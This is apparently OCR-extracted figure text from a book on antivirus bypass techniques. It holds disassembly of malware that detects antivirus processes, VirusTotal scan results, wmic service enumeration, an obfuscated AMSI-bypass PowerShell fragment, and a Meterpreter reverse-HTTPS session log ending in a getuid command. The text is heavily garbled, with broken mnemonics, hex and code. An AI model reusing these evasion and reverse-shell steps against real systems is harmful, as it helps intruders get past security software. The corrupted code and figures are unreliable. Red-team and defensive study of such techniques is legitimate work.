bzs 0 0 7000 74 0300080 0 0 ]
.idata 4400 800 2000 760 C0300040 0 0 0
.CRT AC00 200 8000 18 C0300040 0 0 ]
tls AE0D 200 ADDD 20 0300040 0 0 0

| MewSec 5000 1000 BOOD 1000 EQOODOED 0 0 1] |




loc_ ABBEOE:
pushf
popf
push
Xar
pop
pushf
popf
inc
inc
dec

cmp
jnz t loc_4B8BB8E

inc
dec
r'Il:IFI
r'Il:IFI
r'Il:IFI
xor

inc
dec
inc
dec
inc
dec
inc
push
Xar
pop
inc
dec




Antivirus Bypass - Malwarebytes Premium Trial

Nir Yehoshua

Antivirus Bypass - Bitdefender Free Edition

Nir Yehoshua
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Antivirus Bypass - ESET NOD32 Free Edition
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Antivirus Bypass 3
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Chapter 7: Antivirus Bypass Techniques in Red Team
Operations

Download a malware with a dedicated antivirus bypass technique

Stage 1 Stage 2
4

Antivirus fingerprinting Antivirus bypass in a real life

D:\Documents\Antivirus Bypass Techniques>"Antivirus Fingerprinting.exe’
Antivirus Bypass Techiques by Nir Yehoshua and Uriel Kosayev

4968 MsMpEng.exe

D:\Documents\Antivirus Bypass Techniques>

\ (T) & engines detected this flie ¢
Nidis7058efa33%4daT 9864 0163bbd b2 10.01 MB 2021-01-3018:39:37 UTC %L
Antivirus Fingerprinting exe Size 2 minutes ago EXE

&4bits  assembly overay  peese

DETECTION DETAILS BEHAVIOR COMMUNITY
Crowdsourced YARA Rules
. Matches rule Pyinstaller by @bartblaze from ruleset Pylnstaller at httpsoiigithub.comibartblazeara-rules

Ly identifies executable converted using Pyfnstatler

SecureAge APEX (D) Malicious eGambit (1) Unsafe.Al Score_99%
Mabwarebytes (1) GenericTrojannjector.DDS Microsoft (@) TrojanWin32Wacatac.Blml
Yandex @ Trojan PWS.Agent!m7rD41820UM Zillya @ Trojan Disco.Script. 104
Acronis (7) Undetected Ad-toware (%) Undetected

ApgisLab () Undetected AhnLab-V3 (¥) Undetected

Alibaba (%) Undetected AlYac (¥) Undetected

Antiy-AVL (%) Undetected Arcabit () Undetected

Ayira (o cloud) () Undetected Baidu (+) Undetected

BitDefender () Undetected BitDefendarTheta (¥) Undetected



(1) 1security vendor flagged this file as malicious.

11fdf57058efa3394da7 9866 JacSeblde 2016154082016 3bb 42825 9babA 62

Antivirus Fingerprinting exe

3

Gdbits  assembly overlsy peexe  rudlime-medubs

%) Comemunty (7
Score

DETECTION DETAILS

Securege APEX
Ad-Aware
AhnLab-v3
Al¥ac

Arcabit

Awira (no cloud)

RELATIONS BEHAVIOR

@ Malicious

() Undetected
() Undetected
(&) Undetected
(%) Undetected
(&) Undetected

) Undetected

COMMUNITY

10.01 MB 2021-04-26 15:04:30 UTC
Size 1 day ago

Acronis () Undetected
AegisLab () Undetected
Aliaba (%) undetected
Antly-AVL (@) Undetected
Avast (%) Undetected
Baidu (@) Undetected
BitDefender Theta (¥) Undetected

o X
L

EXE



edi
esi
ebp
ebx

offset aSpideragentExe ; "SPIDERAGENT.EXE"

sub_402640
esp, 4
eax, eax
loc_402948
*_l [
FIEE
push offset aDwengineExe ; "DWENGINE.EXE"™
call sub_482e648
add esp, 4
test eax, eax
jnz loc_482948
=
FIFIE
push offset aDwarkdaemonExe ; “DWARKDAEMON.EXE"
call sub_482e648
add esp, 4
test eax, eax
jnz loc_402948
*_'l
il e =]
push offset aEguiExe ; "EGUI.EXE"
call sub_482e64e
add esp, 4
test eax, eax
jnz loc_4082948
|
y
push offset aEkrnExe ; "EKRN.EXE"
call sub_48264e
add esp, 4
test eax, eax
jnz loc_4082948
I 1
'*_;ll""“‘"" Yy Y
il e = FIZE]
push ebx
loc_482948: 3 uExitCode| (push ebp
push e push esi
call ds:ExitProcess push edi
start endp call sub_4825A8
mov ebp, ds:EraseTape
mov edi, ds:GetLastError
mov ebx, ds:GetCurrentActCtx
xXor esi, esi
mowv edi, edi




Chapter 8: Best Practices and Recommendations

mbam.exe - Entry Point Mot Found ot

'6 The procedure entry point

W' window@QQuickltem@@QEBAPEAVQQuickWindow@@XZ could
not be located in the dynamic link library C\Program
Files\Malwarebytes\Anti-Malwareymbam.exe.

oK
Rl O0007FFS56C52A20 40:55 push rbp LoadLibrarvExw
@& | 00007FFBSECB2A22 53 push rbx
®|| 00007 FFBLECB2A23 48: BBEC mov rbp,rsp
@& 00007 FFBSBCB2AZ6 48:83EC 58 sub rsp,58
@ || O0007FFBSGCB2AZA 41: 8BDS8 mov ebx,r8d

findstr
Files Antivirus\Modules\Firewall.exe

EVE AVEngine C:h Files\REVE Antivirus\Modules\Engine\AntivirusEngine.exe

EVE Security ( ogram Files\REVE Antivirus\Modules\se

leveAntispam C:\Program Files\REVE Antivirus\Modules\ReveAntiSpam\AntispamEngine.exe
XEVE Backup ( rogram Files\REVE Antivirus\Modules\ReveBackup.exe

IEVE Connector C:\ Files\REVE Antivirus\Modules\ConnectorServic

EVE Filter ( rogram Files\REVE AntivirusiModul

ce Runtime C:\ gram Files\REVE Antivirus\Modules)\

C:\Users\nir>wmic service get name, pathname | findstr "Max"
MaxCryptMonSrv C:\Program Files\Max Secure Total Security\MaxCryptMonSrv.exe

MaxMerger C:\Program Files (x86)\Max Secure Total Security\MaxMerger.exe
MaxWatchDogService C:\Program Files\Max Secure Total Security\MaxWatchDogService.exe

MaxWsRegSrv C:\Program Files\Max Secure Total Security\MaxWsRegSrv.exe




nformation
fo]
1pstartupInfo
; lpCurrentDirectory
; lpEnvironment

; dwCreationFlags
; bInheritHandl

tributes
\ttributes

=

m = £ m

Woo oW owmoo
o0

=
=

d
lumberd

]

fBytesRead




; TlProtect

; TlallocationType

; TlProtect

; TlAllocationType

Mo
push
push
Mo
push
mov
push
call
lea
push
push
lea
push
mov
Mo
add
push
mov
push
call

; lpNumber

; nsize

; lpBuffer

5

thqu

i8] eae72dB03bfETdf22526f50fcTab84d838efb2865c2Taef1a61592b1c520d 144

Offset (h)

Qogooooo
00g0oo010
Qo00ooz2o

00 01 02 03 04 05 0O OT7 0B

4D
BE

0ag

SR 50 00O 02
J0 00 00 00
J0 00 00 00

J0 00
J0 00
J0 00

00 04
00 40
J0 00

0% 0& OB OC OD OE OF Decoded text

00 OF
J0 1A
J0 00

J0 FF FF 00
J0 00 00 00
J0 00 00 00



lea
push
MoV
push =+ ; nSize

push ; 1pBuffer
mowv » [ebp+lpBaseiddr ]
push ; lpBa

mov = =bp+Proc [ nforT
push

call

W Export data x

@ string literal

@ Cunsigned char array (hex)

@ C unsigned char array (decmal)
@ initialized C varizble

@ raw bytes

save data to dipboard

Line:1  Column:1

Output file export_results. tet




PowerShell VBScript

Other Other
Application Application

Win32 API Layer AmaiScanBuffer ()
AmaiScanString ()

AMSI.h + AMSL.lib + AMSI.dlII

MsMpEng.exe
(Windows Defender Service)

COM API Layer

Amai.h + AMSI.dll
IAntimalware: :Scan() Provider Class
registration ) |

AV Provider Layer

Windows Defender Provider Class 3 Party AV Provider
IAntimalwareProvider: :Scan () Class

MpEngine.dll
(Defender Scan Engine)

MpSvec.dll
(Defender RPC Server)

RPC

S C:\Users\uriel\Desktop> .\msf payload.psl

Users\uriel\Desktop> dir

Directory: C:\Users\uriel\Desktop

LastWriteTime Length Name

12/1/2020 28 PM 954 The Art of Antivirus Bypass.lnk

8/6/2020 :31 PM 1

:\Users\uriel\Desktop>

Event 1116, Windows Defender

2

Zoom creds.txt

General | Details

Microsoft Defender Antivirus has detected malware or other potentially unwanted software.
For more information please see the following:

https://go.microsoft.c fwlink/?linkid=370208& name=Trojan:Win32/M gen!Ca&threatid=214772 terprise=0

Name: Trojan:Win32/Meterpreter.gen!C
1D: 2147725332

Severity: Severe

Category: Trojan

o)
Detection Origin: Local machine
Detection Type: Generic
Detection Source: Real-Time Protection
User: CALIBER\Uriel
Process Name: C:\Windows\! \Wind Shell\w1.0\py hell.exe
Security intelligence Version: AV: 1.320.838.0, AS: 1.320.838.0, NIS: 1.329.838.0
Engine Version: AM: 1.1.17700.4, NIS: 1.1.17700.4

Path: containerfile:_C:\Users\uriel\Desktop\msf_payload.psT; file: C:\Users\uriel\Desktop\msf payload.ps1->[PSByteShellcodelnPEG4 00;

file: C:\Users\uriehDesktop\msf payload.ps1->[PSByteShellcode 00]->[Vatet Crypt v1]->




Event 1117, Windows Defender

General  Details

icrosoft Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.
For more information please see the following:

https://go.microsoft.com/flink/linkid=370208 name=Trojan:Win32/Meterpreter.gen!C&ithreatid=2147725322 &tenterprise=0
Name: Trojan:Win32/Meterpreter.gen!C

D: 2147725332

Severity: Severe

Category: Trojan
Path: containerfile; C:\Users\urieNDesktop\msf_payload.psT; file: C:\Users\uriel\Desktop\msf payload.ps1->[PSByteShellcodelnPE64 00T; file: C:\Users\uriel\Desktop\msf payload.ps1-> [PSByteShellcode 00]->[Vatet C:

| (EmbeddedCode)
Detection Origin: Local machine
Detection Type: Generic

Detection Source: Real-Time Protection
User: NTAUTHORITY\SYSTEM

Process Name: C:\
Action: Quarantine

Action Status: No additional actions required

Error Code: 0x80508023
Error description: The program could not find the malware and other potentially unwanted software on this device.

Security intelligence Version: AV: 1.329.838.0, AS: 1.329.838.0, NIS: 1.329.838.0
Engine Version: AM: 1.1.17700.4, NIS: 1.1.17700.4

I\v1 O\p hell.ex

al]::AllocHGlobal((9076));[Ref].Assembly.GetType(
21¢115)+[chAR](5880/56) ) ) -GetField("$([ChAr](23+74)
).SetValue($null 1);[Ref].Assembly.GetType(

tem.Runtime.Inte
1(65)+[c
B

it v1l->

[ChAR](115)+[chAR](5880/56)) ).GetField($([ChAr](23+74)+[char](166-57)

etValue ull, [IntPtr]: );

AmsT

Started HTTPS reverse handler on https://172.21.153.8:443
https://172.21.153.8:443 handling request from 172.21.144.1; (UUID: hmz8ayuu) Staging x64 payload
(201308 bytes) ... Met ter session 1 opened (172.21.153.8:443 -> 172.21.144.1:2924) at 2020-12-

22 23:06:59 +0200

meterpreter > getuid
ver username: CALIBER\Uriel

meterprete




